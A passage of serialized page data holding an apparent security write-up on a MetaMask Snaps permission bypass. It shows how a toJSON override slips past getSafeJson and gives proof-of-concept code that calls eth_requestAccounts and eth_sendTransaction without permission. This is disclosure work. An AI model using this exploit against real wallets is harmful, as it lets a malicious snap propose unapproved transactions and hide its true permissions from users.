",{"type":23,"tag":139,"props":36832,"children":36833},{"style":319},[36834],{"type":28,"value":36835},"finally",{"type":23,"tag":139,"props":36837,"children":36838},{"style":259},[36839],{"type":28,"value":1268},{"type":23,"tag":139,"props":36841,"children":36842},{"class":141,"line":1329},[36843,36848,36852,36856,36860,36864,36869],{"type":23,"tag":139,"props":36844,"children":36845},{"style":279},[36846],{"type":28,"value":36847},"        this",{"type":23,"tag":139,"props":36849,"children":36850},{"style":259},[36851],{"type":28,"value":73},{"type":23,"tag":139,"props":36853,"children":36854},{"style":245},[36855],{"type":28,"value":36707},{"type":23,"tag":139,"props":36857,"children":36858},{"style":259},[36859],{"type":28,"value":29385},{"type":23,"tag":139,"props":36861,"children":36862},{"style":294},[36863],{"type":28,"value":29390},{"type":23,"tag":139,"props":36865,"children":36866},{"style":265},[36867],{"type":28,"value":36868}," 'OutboundResponse'",{"type":23,"tag":139,"props":36870,"children":36871},{"style":259},[36872],{"type":28,"value":36725},{"type":23,"tag":139,"props":36874,"children":36875},{"class":141,"line":1580},[36876],{"type":23,"tag":139,"props":36877,"children":36878},{"style":259},[36879],{"type":28,"value":10675},{"type":23,"tag":139,"props":36881,"children":36882},{"class":141,"line":1597},[36883],{"type":23,"tag":139,"props":36884,"children":36885},{"style":259},[36886],{"type":28,"value":36887},"    };\n",{"type":23,"tag":24,"props":36889,"children":36890},{},[36891,36893,36898,36900,36905],{"type":28,"value":36892},"In particular, this function is from the ",{"type":23,"tag":135,"props":36894,"children":36896},{"className":36895},[],[36897],{"type":28,"value":36068},{"type":28,"value":36899}," provider, but the only thing that changes between this and ",{"type":23,"tag":135,"props":36901,"children":36903},{"className":36902},[],[36904],{"type":28,"value":29304},{"type":28,"value":36906}," is the assert function in the first line.",{"type":23,"tag":24,"props":36908,"children":36909},{},[36910],{"type":28,"value":36911},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":797,"props":36913,"children":36914},{},[36915,36927,36932],{"type":23,"tag":801,"props":36916,"children":36917},{},[36918,36920,36925],{"type":28,"value":36919},"Assert if ",{"type":23,"tag":135,"props":36921,"children":36923},{"className":36922},[],[36924],{"type":28,"value":36118},{"type":28,"value":36926}," are valid",{"type":23,"tag":801,"props":36928,"children":36929},{},[36930],{"type":28,"value":36931},"getSafeJson to get sanitizedArgs",{"type":23,"tag":801,"props":36933,"children":36934},{},[36935],{"type":28,"value":36936},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":36938,"children":36939},{},[36940,36942,36948],{"type":28,"value":36941},"Obs: ",{"type":23,"tag":135,"props":36943,"children":36945},{"className":36944},[],[36946],{"type":28,"value":36947},"originalRequest",{"type":28,"value":36949}," makes the RPC call to metamask service worker",{"type":23,"tag":666,"props":36951,"children":36953},{"id":36952},"safe-json-exploit",[36954],{"type":28,"value":36955},"Safe JSON Exploit",{"type":23,"tag":24,"props":36957,"children":36958},{},[36959,36961,36967,36969,36974,36976,36982],{"type":28,"value":36960},"As we dug further into the",{"type":23,"tag":135,"props":36962,"children":36964},{"className":36963},[],[36965],{"type":28,"value":36966},"getSafeJson",{"type":28,"value":36968}," function (defined in ",{"type":23,"tag":135,"props":36970,"children":36972},{"className":36971},[],[36973],{"type":28,"value":35186},{"type":28,"value":36975}," package) we discovered the following ",{"type":23,"tag":64,"props":36977,"children":36980},{"href":36978,"rel":36979},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[68],[36981],{"type":28,"value":135},{"type":28,"value":2493},{"type":23,"tag":128,"props":36984,"children":36986},{"className":33503,"code":36985,"language":33505,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[36987],{"type":23,"tag":135,"props":36988,"children":36989},{"__ignoreMap":7},[36990,37055,37082,37107,37162,37170,37217,37233,37240,37257,37264,37271],{"type":23,"tag":139,"props":36991,"children":36992},{"class":141,"line":142},[36993,36997,37002,37007,37011,37016,37020,37025,37029,37033,37038,37043,37047,37051],{"type":23,"tag":139,"props":36994,"children":36995},{"style":319},[36996],{"type":28,"value":36099},{"type":23,"tag":139,"props":36998,"children":36999},{"style":279},[37000],{"type":28,"value":37001}," const",{"type":23,"tag":139,"props":37003,"children":37004},{"style":294},[37005],{"type":28,"value":37006}," JsonStruct",{"type":23,"tag":139,"props":37008,"children":37009},{"style":982},[37010],{"type":28,"value":985},{"type":23,"tag":139,"props":37012,"children":37013},{"style":245},[37014],{"type":28,"value":37015}," coerce",{"type":23,"tag":139,"props":37017,"children":37018},{"style":259},[37019],{"type":28,"value":262},{"type":23,"tag":139,"props":37021,"children":37022},{"style":294},[37023],{"type":28,"value":37024},"UnsafeJsonStruct",{"type":23,"tag":139,"props":37026,"children":37027},{"style":259},[37028],{"type":28,"value":1052},{"type":23,"tag":139,"props":37030,"children":37031},{"style":245},[37032],{"type":28,"value":14726},{"type":23,"tag":139,"props":37034,"children":37035},{"style":259},[37036],{"type":28,"value":37037},"(), (",{"type":23,"tag":139,"props":37039,"children":37040},{"style":294},[37041],{"type":28,"value":37042},"value",{"type":23,"tag":139,"props":37044,"children":37045},{"style":259},[37046],{"type":28,"value":1062},{"type":23,"tag":139,"props":37048,"children":37049},{"style":279},[37050],{"type":28,"value":12833},{"type":23,"tag":139,"props":37052,"children":37053},{"style":259},[37054],{"type":28,"value":1268},{"type":23,"tag":139,"props":37056,"children":37057},{"class":141,"line":151},[37058,37062,37066,37070,37074,37078],{"type":23,"tag":139,"props":37059,"children":37060},{"style":245},[37061],{"type":28,"value":36450},{"type":23,"tag":139,"props":37063,"children":37064},{"style":259},[37065],{"type":28,"value":262},{"type":23,"tag":139,"props":37067,"children":37068},{"style":294},[37069],{"type":28,"value":37042},{"type":23,"tag":139,"props":37071,"children":37072},{"style":259},[37073],{"type":28,"value":1052},{"type":23,"tag":139,"props":37075,"children":37076},{"style":294},[37077],{"type":28,"value":37024},{"type":23,"tag":139,"props":37079,"children":37080},{"style":259},[37081],{"type":28,"value":1820},{"type":23,"tag":139,"props":37083,"children":37084},{"class":141,"line":160},[37085,37090,37094,37098,37103],{"type":23,"tag":139,"props":37086,"children":37087},{"style":319},[37088],{"type":28,"value":37089},"  return",{"type":23,"tag":139,"props":37091,"children":37092},{"style":294},[37093],{"type":28,"value":35418},{"type":23,"tag":139,"props":37095,"children":37096},{"style":259},[37097],{"type":28,"value":73},{"type":23,"tag":139,"props":37099,"children":37100},{"style":245},[37101],{"type":28,"value":37102},"parse",{"type":23,"tag":139,"props":37104,"children":37105},{"style":259},[37106],{"type":28,"value":1443},{"type":23,"tag":139,"props":37108,"children":37109},{"class":141,"line":169},[37110,37115,37119,37124,37128,37132,37136,37141,37145,37150,37154,37158],{"type":23,"tag":139,"props":37111,"children":37112},{"style":294},[37113],{"type":28,"value":37114},"    JSON",{"type":23,"tag":139,"props":37116,"children":37117},{"style":259},[37118],{"type":28,"value":73},{"type":23,"tag":139,"props":37120,"children":37121},{"style":245},[37122],{"type":28,"value":37123},"stringify",{"type":23,"tag":139,"props":37125,"children":37126},{"style":259},[37127],{"type":28,"value":262},{"type":23,"tag":139,"props":37129,"children":37130},{"style":294},[37131],{"type":28,"value":37042},{"type":23,"tag":139,"props":37133,"children":37134},{"style":259},[37135],{"type":28,"value":6824},{"type":23,"tag":139,"props":37137,"children":37138},{"style":294},[37139],{"type":28,"value":37140},"propKey",{"type":23,"tag":139,"props":37142,"children":37143},{"style":259},[37144],{"type":28,"value":1052},{"type":23,"tag":139,"props":37146,"children":37147},{"style":294},[37148],{"type":28,"value":37149},"propValue",{"type":23,"tag":139,"props":37151,"children":37152},{"style":259},[37153],{"type":28,"value":1062},{"type":23,"tag":139,"props":37155,"children":37156},{"style":279},[37157],{"type":28,"value":12833},{"type":23,"tag":139,"props":37159,"children":37160},{"style":259},[37161],{"type":28,"value":1268},{"type":23,"tag":139,"props":37163,"children":37164},{"class":141,"line":178},[37165],{"type":23,"tag":139,"props":37166,"children":37167},{"style":958},[37168],{"type":28,"value":37169},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":139,"props":37171,"children":37172},{"class":141,"line":187},[37173,37178,37182,37186,37190,37195,37199,37204,37208,37213],{"type":23,"tag":139,"props":37174,"children":37175},{"style":319},[37176],{"type":28,"value":37177},"      if",{"type":23,"tag":139,"props":37179,"children":37180},{"style":259},[37181],{"type":28,"value":1042},{"type":23,"tag":139,"props":37183,"children":37184},{"style":294},[37185],{"type":28,"value":37140},{"type":23,"tag":139,"props":37187,"children":37188},{"style":982},[37189],{"type":28,"value":29309},{"type":23,"tag":139,"props":37191,"children":37192},{"style":265},[37193],{"type":28,"value":37194}," '__proto__'",{"type":23,"tag":139,"props":37196,"children":37197},{"style":982},[37198],{"type":28,"value":21717},{"type":23,"tag":139,"props":37200,"children":37201},{"style":294},[37202],{"type":28,"value":37203}," propKey",{"type":23,"tag":139,"props":37205,"children":37206},{"style":982},[37207],{"type":28,"value":29309},{"type":23,"tag":139,"props":37209,"children":37210},{"style":265},[37211],{"type":28,"value":37212}," 'constructor'",{"type":23,"tag":139,"props":37214,"children":37215},{"style":259},[37216],{"type":28,"value":12815},{"type":23,"tag":139,"props":37218,"children":37219},{"class":141,"line":196},[37220,37224,37229],{"type":23,"tag":139,"props":37221,"children":37222},{"style":319},[37223],{"type":28,"value":13755},{"type":23,"tag":139,"props":37225,"children":37226},{"style":279},[37227],{"type":28,"value":37228}," undefined",{"type":23,"tag":139,"props":37230,"children":37231},{"style":259},[37232],{"type":28,"value":995},{"type":23,"tag":139,"props":37234,"children":37235},{"class":141,"line":205},[37236],{"type":23,"tag":139,"props":37237,"children":37238},{"style":259},[37239],{"type":28,"value":10675},{"type":23,"tag":139,"props":37241,"children":37242},{"class":141,"line":214},[37243,37248,37253],{"type":23,"tag":139,"props":37244,"children":37245},{"style":319},[37246],{"type":28,"value":37247},"      return",{"type":23,"tag":139,"props":37249,"children":37250},{"style":294},[37251],{"type":28,"value":37252}," propValue",{"type":23,"tag":139,"props":37254,"children":37255},{"style":259},[37256],{"type":28,"value":995},{"type":23,"tag":139,"props":37258,"children":37259},{"class":141,"line":1320},[37260],{"type":23,"tag":139,"props":37261,"children":37262},{"style":259},[37263],{"type":28,"value":36435},{"type":23,"tag":139,"props":37265,"children":37266},{"class":141,"line":1329},[37267],{"type":23,"tag":139,"props":37268,"children":37269},{"style":259},[37270],{"type":28,"value":36302},{"type":23,"tag":139,"props":37272,"children":37273},{"class":141,"line":1580},[37274],{"type":23,"tag":139,"props":37275,"children":37276},{"style":259},[37277],{"type":28,"value":33227},{"type":23,"tag":24,"props":37279,"children":37280},{},[37281,37283,37289,37291,37296,37298,37304,37306,37312],{"type":28,"value":37282},"The function performs a ",{"type":23,"tag":135,"props":37284,"children":37286},{"className":37285},[],[37287],{"type":28,"value":37288},"JSON.parse(JSON.stringify(value))",{"type":28,"value":37290}," in the argument sent to ",{"type":23,"tag":135,"props":37292,"children":37294},{"className":37293},[],[37295],{"type":28,"value":36966},{"type":28,"value":37297},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":135,"props":37299,"children":37301},{"className":37300},[],[37302],{"type":28,"value":37303},"toJSON",{"type":28,"value":37305}," function in a legit ",{"type":23,"tag":135,"props":37307,"children":37309},{"className":37308},[],[37310],{"type":28,"value":37311},"snap.request",{"type":28,"value":37313}," argument:",{"type":23,"tag":797,"props":37315,"children":37316},{},[37317,37322,37327],{"type":23,"tag":801,"props":37318,"children":37319},{},[37320],{"type":28,"value":37321},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":801,"props":37323,"children":37324},{},[37325],{"type":28,"value":37326},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":801,"props":37328,"children":37329},{},[37330],{"type":28,"value":37331},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":37333,"children":37334},{},[37335],{"type":28,"value":37336},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":797,"props":37338,"children":37339},{},[37340,37345],{"type":23,"tag":801,"props":37341,"children":37342},{},[37343],{"type":28,"value":37344},"forward blocked RPC methods",{"type":23,"tag":801,"props":37346,"children":37347},{},[37348,37350,37355,37357,37363,37365,37370],{"type":28,"value":37349},"Making requests in ",{"type":23,"tag":135,"props":37351,"children":37353},{"className":37352},[],[37354],{"type":28,"value":37311},{"type":28,"value":37356}," that were only supposed to be done within ",{"type":23,"tag":135,"props":37358,"children":37360},{"className":37359},[],[37361],{"type":28,"value":37362},"ethereum.request",{"type":28,"value":37364}," (with ",{"type":23,"tag":135,"props":37366,"children":37368},{"className":37367},[],[37369],{"type":28,"value":36539},{"type":28,"value":37371}," enabled).",{"type":23,"tag":24,"props":37373,"children":37374},{},[37375],{"type":28,"value":37376},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":666,"props":37378,"children":37379},{"id":3664},[37380],{"type":28,"value":3667},{"type":23,"tag":24,"props":37382,"children":37383},{},[37384],{"type":28,"value":37385},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":37387,"children":37388},{},[37389],{"type":23,"tag":429,"props":37390,"children":37392},{"alt":7,"src":37391},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":666,"props":37394,"children":37396},{"id":37395},"proof-of-concept",[37397],{"type":28,"value":32718},{"type":23,"tag":24,"props":37399,"children":37400},{},[37401,37403,37408,37410,37415,37417,37423],{"type":28,"value":37402},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":135,"props":37404,"children":37406},{"className":37405},[],[37407],{"type":28,"value":36539},{"type":28,"value":37409}," permission, and used the ",{"type":23,"tag":135,"props":37411,"children":37413},{"className":37412},[],[37414],{"type":28,"value":36068},{"type":28,"value":37416}," interface to call ",{"type":23,"tag":135,"props":37418,"children":37420},{"className":37419},[],[37421],{"type":28,"value":37422},"eth_sendTransaction",{"type":28,"value":37424},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":128,"props":37426,"children":37428},{"className":33503,"code":37427,"language":33505,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[37429],{"type":23,"tag":135,"props":37430,"children":37431},{"__ignoreMap":7},[37432,37465,37472,37479,37496,37525,37532,37557,37564,37596,37607,37624,37637,37644,37651,37658,37690,37697,37704,37711,37727,37754,37761,37784,37791,37822,37833,37849,37861,37882,37897,37914,37922,37929,37936,37943,37974,37981,37988,38048,38055,38083,38100,38115,38131,38146,38158,38188,38195],{"type":23,"tag":139,"props":37433,"children":37434},{"class":141,"line":142},[37435,37439,37443,37448,37452,37456,37461],{"type":23,"tag":139,"props":37436,"children":37437},{"style":319},[37438],{"type":28,"value":17490},{"type":23,"tag":139,"props":37440,"children":37441},{"style":259},[37442],{"type":28,"value":7594},{"type":23,"tag":139,"props":37444,"children":37445},{"style":294},[37446],{"type":28,"value":37447},"OnRpcRequestHandler",{"type":23,"tag":139,"props":37449,"children":37450},{"style":259},[37451],{"type":28,"value":34092},{"type":23,"tag":139,"props":37453,"children":37454},{"style":319},[37455],{"type":28,"value":17480},{"type":23,"tag":139,"props":37457,"children":37458},{"style":265},[37459],{"type":28,"value":37460}," '@metamask/snaps-types'",{"type":23,"tag":139,"props":37462,"children":37463},{"style":259},[37464],{"type":28,"value":995},{"type":23,"tag":139,"props":37466,"children":37467},{"class":141,"line":151},[37468],{"type":23,"tag":139,"props":37469,"children":37470},{"emptyLinePlaceholder":15},[37471],{"type":28,"value":184},{"type":23,"tag":139,"props":37473,"children":37474},{"class":141,"line":160},[37475],{"type":23,"tag":139,"props":37476,"children":37477},{"emptyLinePlaceholder":15},[37478],{"type":28,"value":184},{"type":23,"tag":139,"props":37480,"children":37481},{"class":141,"line":169},[37482,37486,37491],{"type":23,"tag":139,"props":37483,"children":37484},{"style":279},[37485],{"type":28,"value":29264},{"type":23,"tag":139,"props":37487,"children":37488},{"style":245},[37489],{"type":28,"value":37490}," jsonExploit",{"type":23,"tag":139,"props":37492,"children":37493},{"style":259},[37494],{"type":28,"value":37495},"(){\n",{"type":23,"tag":139,"props":37497,"children":37498},{"class":141,"line":178},[37499,37503,37507,37511,37516,37520],{"type":23,"tag":139,"props":37500,"children":37501},{"style":279},[37502],{"type":28,"value":5859},{"type":23,"tag":139,"props":37504,"children":37505},{"style":294},[37506],{"type":28,"value":17073},{"type":23,"tag":139,"props":37508,"children":37509},{"style":982},[37510],{"type":28,"value":985},{"type":23,"tag":139,"props":37512,"children":37513},{"style":259},[37514],{"type":28,"value":37515}," [] ",{"type":23,"tag":139,"props":37517,"children":37518},{"style":319},[37519],{"type":28,"value":6847},{"type":23,"tag":139,"props":37521,"children":37522},{"style":305},[37523],{"type":28,"value":37524}," any\n",{"type":23,"tag":139,"props":37526,"children":37527},{"class":141,"line":187},[37528],{"type":23,"tag":139,"props":37529,"children":37530},{"emptyLinePlaceholder":15},[37531],{"type":28,"value":184},{"type":23,"tag":139,"props":37533,"children":37534},{"class":141,"line":196},[37535,37540,37544,37548,37552],{"type":23,"tag":139,"props":37536,"children":37537},{"style":294},[37538],{"type":28,"value":37539},"  x",{"type":23,"tag":139,"props":37541,"children":37542},{"style":259},[37543],{"type":28,"value":73},{"type":23,"tag":139,"props":37545,"children":37546},{"style":294},[37547],{"type":28,"value":36203},{"type":23,"tag":139,"props":37549,"children":37550},{"style":982},[37551],{"type":28,"value":985},{"type":23,"tag":139,"props":37553,"children":37554},{"style":265},[37555],{"type":28,"value":37556}," \"snap_dialog\"\n",{"type":23,"tag":139,"props":37558,"children":37559},{"class":141,"line":205},[37560],{"type":23,"tag":139,"props":37561,"children":37562},{"emptyLinePlaceholder":15},[37563],{"type":28,"value":184},{"type":23,"tag":139,"props":37565,"children":37566},{"class":141,"line":214},[37567,37571,37575,37579,37583,37588,37592],{"type":23,"tag":139,"props":37568,"children":37569},{"style":294},[37570],{"type":28,"value":37539},{"type":23,"tag":139,"props":37572,"children":37573},{"style":259},[37574],{"type":28,"value":73},{"type":23,"tag":139,"props":37576,"children":37577},{"style":245},[37578],{"type":28,"value":37303},{"type":23,"tag":139,"props":37580,"children":37581},{"style":982},[37582],{"type":28,"value":985},{"type":23,"tag":139,"props":37584,"children":37585},{"style":259},[37586],{"type":28,"value":37587}," () ",{"type":23,"tag":139,"props":37589,"children":37590},{"style":279},[37591],{"type":28,"value":12833},{"type":23,"tag":139,"props":37593,"children":37594},{"style":259},[37595],{"type":28,"value":1268},{"type":23,"tag":139,"props":37597,"children":37598},{"class":141,"line":1320},[37599,37603],{"type":23,"tag":139,"props":37600,"children":37601},{"style":319},[37602],{"type":28,"value":322},{"type":23,"tag":139,"props":37604,"children":37605},{"style":259},[37606],{"type":28,"value":1268},{"type":23,"tag":139,"props":37608,"children":37609},{"class":141,"line":1329},[37610,37615,37620],{"type":23,"tag":139,"props":37611,"children":37612},{"style":294},[37613],{"type":28,"value":37614},"      method:",{"type":23,"tag":139,"props":37616,"children":37617},{"style":265},[37618],{"type":28,"value":37619}," \"eth_requestAccounts\"",{"type":23,"tag":139,"props":37621,"children":37622},{"style":259},[37623],{"type":28,"value":1488},{"type":23,"tag":139,"props":37625,"children":37626},{"class":141,"line":1580},[37627,37632],{"type":23,"tag":139,"props":37628,"children":37629},{"style":294},[37630],{"type":28,"value":37631},"      params:",{"type":23,"tag":139,"props":37633,"children":37634},{"style":259},[37635],{"type":28,"value":37636}," []\n",{"type":23,"tag":139,"props":37638,"children":37639},{"class":141,"line":1597},[37640],{"type":23,"tag":139,"props":37641,"children":37642},{"style":259},[37643],{"type":28,"value":1335},{"type":23,"tag":139,"props":37645,"children":37646},{"class":141,"line":1614},[37647],{"type":23,"tag":139,"props":37648,"children":37649},{"style":259},[37650],{"type":28,"value":3874},{"type":23,"tag":139,"props":37652,"children":37653},{"class":141,"line":1627},[37654],{"type":23,"tag":139,"props":37655,"children":37656},{"emptyLinePlaceholder":15},[37657],{"type":28,"value":184},{"type":23,"tag":139,"props":37659,"children":37660},{"class":141,"line":1636},[37661,37665,37670,37674,37678,37682,37686],{"type":23,"tag":139,"props":37662,"children":37663},{"style":319},[37664],{"type":28,"value":37089},{"type":23,"tag":139,"props":37666,"children":37667},{"style":294},[37668],{"type":28,"value":37669}," snap",{"type":23,"tag":139,"props":37671,"children":37672},{"style":259},[37673],{"type":28,"value":73},{"type":23,"tag":139,"props":37675,"children":37676},{"style":245},[37677],{"type":28,"value":29380},{"type":23,"tag":139,"props":37679,"children":37680},{"style":259},[37681],{"type":28,"value":262},{"type":23,"tag":139,"props":37683,"children":37684},{"style":294},[37685],{"type":28,"value":17284},{"type":23,"tag":139,"props":37687,"children":37688},{"style":259},[37689],{"type":28,"value":273},{"type":23,"tag":139,"props":37691,"children":37692},{"class":141,"line":1659},[37693],{"type":23,"tag":139,"props":37694,"children":37695},{"emptyLinePlaceholder":15},[37696],{"type":28,"value":184},{"type":23,"tag":139,"props":37698,"children":37699},{"class":141,"line":1667},[37700],{"type":23,"tag":139,"props":37701,"children":37702},{"style":259},[37703],{"type":28,"value":1897},{"type":23,"tag":139,"props":37705,"children":37706},{"class":141,"line":1676},[37707],{"type":23,"tag":139,"props":37708,"children":37709},{"emptyLinePlaceholder":15},[37710],{"type":28,"value":184},{"type":23,"tag":139,"props":37712,"children":37713},{"class":141,"line":1745},[37714,37718,37723],{"type":23,"tag":139,"props":37715,"children":37716},{"style":279},[37717],{"type":28,"value":29264},{"type":23,"tag":139,"props":37719,"children":37720},{"style":245},[37721],{"type":28,"value":37722}," transactionExploit",{"type":23,"tag":139,"props":37724,"children":37725},{"style":259},[37726],{"type":28,"value":37495},{"type":23,"tag":139,"props":37728,"children":37729},{"class":141,"line":1753},[37730,37734,37738,37742,37746,37750],{"type":23,"tag":139,"props":37731,"children":37732},{"style":279},[37733],{"type":28,"value":5859},{"type":23,"tag":139,"props":37735,"children":37736},{"style":294},[37737],{"type":28,"value":17073},{"type":23,"tag":139,"props":37739,"children":37740},{"style":982},[37741],{"type":28,"value":985},{"type":23,"tag":139,"props":37743,"children":37744},{"style":259},[37745],{"type":28,"value":37515},{"type":23,"tag":139,"props":37747,"children":37748},{"style":319},[37749],{"type":28,"value":6847},{"type":23,"tag":139,"props":37751,"children":37752},{"style":305},[37753],{"type":28,"value":37524},{"type":23,"tag":139,"props":37755,"children":37756},{"class":141,"line":1783},[37757],{"type":23,"tag":139,"props":37758,"children":37759},{"emptyLinePlaceholder":15},[37760],{"type":28,"value":184},{"type":23,"tag":139,"props":37762,"children":37763},{"class":141,"line":1791},[37764,37768,37772,37776,37780],{"type":23,"tag":139,"props":37765,"children":37766},{"style":294},[37767],{"type":28,"value":37539},{"type":23,"tag":139,"props":37769,"children":37770},{"style":259},[37771],{"type":28,"value":73},{"type":23,"tag":139,"props":37773,"children":37774},{"style":294},[37775],{"type":28,"value":36203},{"type":23,"tag":139,"props":37777,"children":37778},{"style":982},[37779],{"type":28,"value":985},{"type":23,"tag":139,"props":37781,"children":37782},{"style":265},[37783],{"type":28,"value":37556},{"type":23,"tag":139,"props":37785,"children":37786},{"class":141,"line":1823},[37787],{"type":23,"tag":139,"props":37788,"children":37789},{"emptyLinePlaceholder":15},[37790],{"type":28,"value":184},{"type":23,"tag":139,"props":37792,"children":37793},{"class":141,"line":1831},[37794,37798,37802,37806,37810,37814,37818],{"type":23,"tag":139,"props":37795,"children":37796},{"style":294},[37797],{"type":28,"value":37539},{"type":23,"tag":139,"props":37799,"children":37800},{"style":259},[37801],{"type":28,"value":73},{"type":23,"tag":139,"props":37803,"children":37804},{"style":245},[37805],{"type":28,"value":37303},{"type":23,"tag":139,"props":37807,"children":37808},{"style":982},[37809],{"type":28,"value":985},{"type":23,"tag":139,"props":37811,"children":37812},{"style":259},[37813],{"type":28,"value":37587},{"type":23,"tag":139,"props":37815,"children":37816},{"style":279},[37817],{"type":28,"value":12833},{"type":23,"tag":139,"props":37819,"children":37820},{"style":259},[37821],{"type":28,"value":1268},{"type":23,"tag":139,"props":37823,"children":37824},{"class":141,"line":1891},[37825,37829],{"type":23,"tag":139,"props":37826,"children":37827},{"style":319},[37828],{"type":28,"value":322},{"type":23,"tag":139,"props":37830,"children":37831},{"style":259},[37832],{"type":28,"value":1268},{"type":23,"tag":139,"props":37834,"children":37835},{"class":141,"line":7053},[37836,37840,37845],{"type":23,"tag":139,"props":37837,"children":37838},{"style":294},[37839],{"type":28,"value":37614},{"type":23,"tag":139,"props":37841,"children":37842},{"style":265},[37843],{"type":28,"value":37844}," \"eth_sendTransaction\"",{"type":23,"tag":139,"props":37846,"children":37847},{"style":259},[37848],{"type":28,"value":1488},{"type":23,"tag":139,"props":37850,"children":37851},{"class":141,"line":7071},[37852,37856],{"type":23,"tag":139,"props":37853,"children":37854},{"style":294},[37855],{"type":28,"value":37631},{"type":23,"tag":139,"props":37857,"children":37858},{"style":259},[37859],{"type":28,"value":37860}," [{\n",{"type":23,"tag":139,"props":37862,"children":37863},{"class":141,"line":7116},[37864,37868,37873,37877],{"type":23,"tag":139,"props":37865,"children":37866},{"style":294},[37867],{"type":28,"value":29952},{"type":23,"tag":139,"props":37869,"children":37870},{"style":265},[37871],{"type":28,"value":37872}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":139,"props":37874,"children":37875},{"style":259},[37876],{"type":28,"value":1052},{"type":23,"tag":139,"props":37878,"children":37879},{"style":958},[37880],{"type":28,"value":37881},"// change this to your address\n",{"type":23,"tag":139,"props":37883,"children":37884},{"class":141,"line":7222},[37885,37889,37893],{"type":23,"tag":139,"props":37886,"children":37887},{"style":294},[37888],{"type":28,"value":29968},{"type":23,"tag":139,"props":37890,"children":37891},{"style":265},[37892],{"type":28,"value":37872},{"type":23,"tag":139,"props":37894,"children":37895},{"style":259},[37896],{"type":28,"value":1488},{"type":23,"tag":139,"props":37898,"children":37899},{"class":141,"line":21518},[37900,37905,37910],{"type":23,"tag":139,"props":37901,"children":37902},{"style":294},[37903],{"type":28,"value":37904},"        value:",{"type":23,"tag":139,"props":37906,"children":37907},{"style":265},[37908],{"type":28,"value":37909}," \"0x1\"",{"type":23,"tag":139,"props":37911,"children":37912},{"style":259},[37913],{"type":28,"value":1488},{"type":23,"tag":139,"props":37915,"children":37916},{"class":141,"line":21553},[37917],{"type":23,"tag":139,"props":37918,"children":37919},{"style":259},[37920],{"type":28,"value":37921},"      }]\n",{"type":23,"tag":139,"props":37923,"children":37924},{"class":141,"line":21561},[37925],{"type":23,"tag":139,"props":37926,"children":37927},{"style":259},[37928],{"type":28,"value":1335},{"type":23,"tag":139,"props":37930,"children":37931},{"class":141,"line":21569},[37932],{"type":23,"tag":139,"props":37933,"children":37934},{"style":259},[37935],{"type":28,"value":3874},{"type":23,"tag":139,"props":37937,"children":37938},{"class":141,"line":21578},[37939],{"type":23,"tag":139,"props":37940,"children":37941},{"emptyLinePlaceholder":15},[37942],{"type":28,"value":184},{"type":23,"tag":139,"props":37944,"children":37945},{"class":141,"line":21620},[37946,37950,37954,37958,37962,37966,37970],{"type":23,"tag":139,"props":37947,"children":37948},{"style":319},[37949],{"type":28,"value":37089},{"type":23,"tag":139,"props":37951,"children":37952},{"style":294},[37953],{"type":28,"value":37669},{"type":23,"tag":139,"props":37955,"children":37956},{"style":259},[37957],{"type":28,"value":73},{"type":23,"tag":139,"props":37959,"children":37960},{"style":245},[37961],{"type":28,"value":29380},{"type":23,"tag":139,"props":37963,"children":37964},{"style":259},[37965],{"type":28,"value":262},{"type":23,"tag":139,"props":37967,"children":37968},{"style":294},[37969],{"type":28,"value":17284},{"type":23,"tag":139,"props":37971,"children":37972},{"style":259},[37973],{"type":28,"value":1820},{"type":23,"tag":139,"props":37975,"children":37976},{"class":141,"line":21653},[37977],{"type":23,"tag":139,"props":37978,"children":37979},{"style":259},[37980],{"type":28,"value":1897},{"type":23,"tag":139,"props":37982,"children":37983},{"class":141,"line":21661},[37984],{"type":23,"tag":139,"props":37985,"children":37986},{"emptyLinePlaceholder":15},[37987],{"type":28,"value":184},{"type":23,"tag":139,"props":37989,"children":37990},{"class":141,"line":21669},[37991,37995,37999,38004,38008,38013,38017,38022,38027,38031,38035,38040,38044],{"type":23,"tag":139,"props":37992,"children":37993},{"style":319},[37994],{"type":28,"value":36099},{"type":23,"tag":139,"props":37996,"children":37997},{"style":279},[37998],{"